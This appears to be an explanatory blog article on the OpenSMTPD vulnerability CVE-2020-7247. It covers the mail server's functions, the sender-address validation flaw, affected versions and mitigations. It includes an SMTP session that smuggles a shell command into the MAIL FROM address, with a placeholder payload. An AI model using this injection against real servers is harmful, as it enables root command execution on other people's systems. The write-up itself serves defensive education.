OpenSMTPD is the mail transfer agent (e-mail server) of the OpenBSD operating system, and is also available as a ‘portable’ version for other Unix systems such as GNU/Linux. OpenBSD is known for having a strong focus on security features, and serious security vulnerabilities in OpenBSD are very rare - there have only been two remote holes exploitable in the default install in the project’s 23-year existence. The recent CVE-2020-7247 vulnerability in OpenSMTPD, announced on the 29th of January 2020, very nearly added a third item to that list.
Functionality
As a mail transfer agent (MTA), OpenSMTPD can perform the following functions:
- Accept e-mail from local processes for delivery to a local address (e.g. notifying the system administrator when a cron job failed) and save that e-mail to the relevant user’s inbox.
- Accept e-mail from local processes for delivery to a remote address (e.g. a web application sending a password reset e-mail) and pass it on to that address’s e-mail server.
- Accept e-mail over the internet for delivery to a local address (e.g. someone else sending an e-mail to a user of this system) and save that e-mail to the relevant user’s inbox.
- Accept e-mail over the internet from authenticated users for delivery to a remote address (e.g. a logged-in user sending e-mail from an e-mail client on a mobile phone) and pass it on to that address’s e-mail server.
The default configuration only allows the first two use cases and does not accept remote connections; this is what stopped this vulnerability from counting as a “remote hole in the default install”. If the server configuration is changed to allow receiving mail from other systems then the vulnerability can be exploited remotely too.
Vulnerability
The vulnerability is caused by improper validation of the e-mail sender address. When receiving e-mail for local users, the OpenSMTPD server calls an external process to save it to the user’s inbox; this simplifies supporting different file formats for the inbox as well as allowing users to create custom rules for processing the e-mails they receive. The sender address is included in the command line when the mailbox delivery program is called; if the sender address includes shell metacharacters then these will be interpreted by the shell, allowing the execution of commands on the server.
Exploitation
Before showing how the vulnerability is exploited, here is an example of a normal, non-malicious e-mail being transferred:
SENDER> [connects to server on port 25]
SERVER> 220 vulnerable-server.net ESMTP OpenSMTPD
SENDER> HELO friendly-sender.org
SERVER> 250 vulnerable-server.net Hello friendly-sender.org, pleased to meet you
SENDER> MAIL FROM:<alice@friendly-sender.org>
SERVER> 250 2.0.0 Ok
SENDER> RCPT TO:<bob@vulnerable-server.net>
SERVER> 250 2.1.5 Destination address valid: Recipient ok
SENDER> DATA
SERVER> 354 Enter mail, end with "." on a line by itself
SENDER> Subject: Hello
SENDER>
SENDER> Lorem ipsum dolor sit amet
SENDER> .
SERVER> 250 2.0.0 Message accepted for delivery
Once the message is accepted for delivery
, the server runs the command: /usr/libexec/mail.local alice@friendly-sender.org bob
and passes the content of the mail on the standard input. The mail.local
program then saves the e-mail to Bob’s inbox file.
In order to exploit the vulnerability, a hacker can include shell metacharacters (such as ;
, which terminates one command and starts another) in the sender address:
HACKER> [connects to server on port 25]
SERVER> 220 vulnerable-server.net ESMTP OpenSMTPD
HACKER> HELO evil-hacker.com
SERVER> 250 vulnerable-server.net Hello evil-hacker.com, pleased to meet you
HACKER> MAIL FROM:<; killall puppies ; echo >
SERVER> 250 2.0.0 Ok
HACKER> RCPT TO:<root>
SERVER> 250 2.1.5 Destination address valid: Recipient ok
HACKER> DATA
SERVER> 354 Enter mail, end with "." on a line by itself
HACKER> Subject: Kill all puppies!
HACKER>
HACKER> Lorem ipsum dolor sit amet
HACKER> .
SERVER> 250 2.0.0 Message accepted for delivery
Once the message is accepted for delivery
, the server runs the command /usr/libexec/mail.local ; killall puppies ; echo @vulnerable-server.net root
(the @vulnerable-server.net
is added because the address validation mistakenly assumes that the e-mail has come from a local process on the same server) and the shell interprets this as:
/usr/libexec/mail.local
killall puppies
echo @vulnerable-server.net root
This allows the hacker to run killall puppies
as root on the vulnerable server.
Vulnerable versions
The vulnerability was added in OpenSMTPD version 6.4.0, when the architecture for local mail delivery was refactored, and removed in version 6.6.2 by fixing the address validation function. Most “stable” GNU/Linux distributions (e.g. Ubuntu, Debian, Red Hat) were still using version 6.0.3, from before the vulnerability was added, and were therefore not affected.
Mitigation
The simplest fix is to upgrade to the latest version of OpenSMTPD (6.6.2 at the time of writing). There are also some possible mitigations which could have prevented or at least reduced the impact of the vulnerability:
- Run the OpenSMTPD server inside a container, jail, virtual machine or other system which restricts its ability to interfere with other services.
- Reduce the privileges of the OpenSMTPD process. (This has only limited potential as OpenSMTPD needs to bind to privileged ports and also needs to be able to run processes as other users to deliver mail.)
- Configure OpenSMTPD to save messages in a maildir in the user’s home directory instead of in an mbox file in
/var/spool/mail/
, and to redirectroot
’s mail to a less-privileged user. This will mean that the mail delivery process never has to run asroot
.
Conclusion
The proximate cause of this vulnerability was a mistake in the validation of untrusted input, which could potentially have been caught by better code review processes or automated testing.
However, the problem could have been avoided entirely if the system design did not include user input in a shell command line, and its severity would have been reduced if the command line had been run as a less-privileged user rather than as root
.
This demonstrates that security-conscious design can greatly reduce the attack surface of a computer system and make hackers’ lives harder.
Links
- CVE entry: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-7247
- Original announcement: https://www.openwall.com/lists/oss-security/2020/01/28/3
- Deeper analysis of the bug from one of the OpenSMTPD developers: https://poolp.org/posts/2020-01-30/opensmtpd-advisory-dissected/